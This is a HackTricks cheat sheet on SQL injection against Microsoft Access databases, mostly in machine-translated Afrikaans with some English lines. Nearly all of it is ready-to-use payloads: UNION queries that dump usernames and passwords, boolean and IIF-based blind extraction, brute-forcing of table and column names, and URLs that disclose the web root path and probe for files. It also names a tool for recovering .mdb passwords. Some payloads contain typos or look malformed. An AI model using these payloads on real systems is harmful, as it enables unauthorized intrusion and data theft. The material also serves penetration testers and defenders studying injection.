MS Access SQL Injection

Ondersteun HackTricks

Aanlyn Speelgrond

DB Beperkings

String Samevoeging

String samevoeging is moontlik met & (%26) en + (%2b) karakters.

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Kommentaar

Daar is geen kommentaar in MS Access nie, maar dit blyk moontlik te wees om die laaste van 'n navraag met 'n NULL-karakter te verwyder:

1' union select 1,2 from table%00

As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:

1' UNION SELECT 1,2 FROM table WHERE ''='

Gestapelde Vrae

Hulle word nie ondersteun nie.

BEPERK

Die LIMIT operateur is nie geïmplementeer nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die eerste N tabel rye met die TOP operateur. TOP aanvaar as argument 'n heelgetal, wat die aantal rye wat teruggegee moet word, verteenwoordig.

1' UNION SELECT TOP 3 attr FROM table%00

Net soos TOP kan jy LAST gebruik wat die rye van die einde sal kry.

UNION Vrae/Subvrae

In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in subvrae of ekstra vrae 'n FROM aangedui word. So, as jy 'n UNION SELECT of UNION ALL SELECT of 'n SELECT tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd 'n FROM met 'n geldige tabelnaam aandui. Daarom moet jy 'n geldige tabelnaam ken.

-1' UNION SELECT username,password from users%00

Chaining equals + Substring

Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te ken.

MS Access laat vreemde sintaksis toe soos '1'=2='3'='asd'=false. Soos gewoonlik sal die SQL-inspuiting binne 'n WHERE klousule wees wat ons kan misbruik.

Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een kolomnaam username is, en dit is die veld wat jy wil exfiltreer. Jy kan die verskillende antwoorde van die webtoepassing nagaan wanneer die chaining equals tegniek gebruik word en moontlik inhoud exfiltreer met 'n boolean injection deur die Mid funksie te gebruik om substrings te verkry.

'=(Mid(username,1,3)='adm')='

As jy die naam van die tabel en kolom weet om te dump, kan jy 'n kombinasie van Mid, LAST en TOP gebruik om alle inligting via boolean SQLi te lek:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Tabel name

Met die kettinggelykte tegniek kan jy ook bruteforce tabel name met iets soos:

'=(select+top+1+'lala'+from+<table_name>)='

U kan ook 'n meer tradisionele manier gebruik:

-1' AND (SELECT TOP 1 <table_name>)%00

Feel vry om dit in die aanlyn speelgrond te kontroleer.

Brute-Forcing Kolom name

Jy kan brute-force huidige kolom name met die ketting gelyk trick met:

'=column_name='

Of met 'n group by:

-1' GROUP BY column_name%00

Of jy kan die kolomname van 'n ander tabel brute-force met:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Ons het reeds die chaining equals technique bespreek om data uit die huidige en ander tabelle te dump. Maar daar is ander maniere:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur voordeel te trek uit die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.

Tydgebaseerd

Kontroleer https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Ander Interessante funksies

  • Mid('admin',1,1) kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)

  • LEN('1234') kry lengte van string

  • ASC('A') kry ascii waarde van karakter

  • CHR(65) kry string vanaf ascii waarde

  • IIF(1=1,'a','b') as dan

  • COUNT(*) Tel aantal items

Tabels opnoem

Van hier kan jy 'n navraag sien om tabelname te kry:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

However, note that is very typical to find SQL Injections where you don't have access to read the table MSysObjects.

FileSystem access

Web Root Directory Full Path

Die kennis van die web wortel absolute pad mag verdere aanvalle vergemaklik. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access reageer met 'n foutboodskap wat die web gids se volle padnaam bevat.

File Enumeration

Die volgende aanvalsvector kan gebruik word om die bestaan van 'n lêer op die afstands lêerstelsel af te lei. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Nog 'n manier om lêers te tel, bestaan uit die spesifisering van 'n databasis.tabel item. As die gespesifiseerde lêer bestaan, vertoon MS Access 'n databasisformaat foutboodskap.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb File Name Guessing

Databasis lêernaam (.mdb) kan afgelei word met die volgende navraag:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Waar name[i] 'n .mdb lêernaam is en realTable 'n bestaande tabel binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.

.mdb Password Cracker

Access PassView is 'n gratis nut wat gebruik kan word om die hoofdatabasis wagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.

References

Support HackTricks

Last updated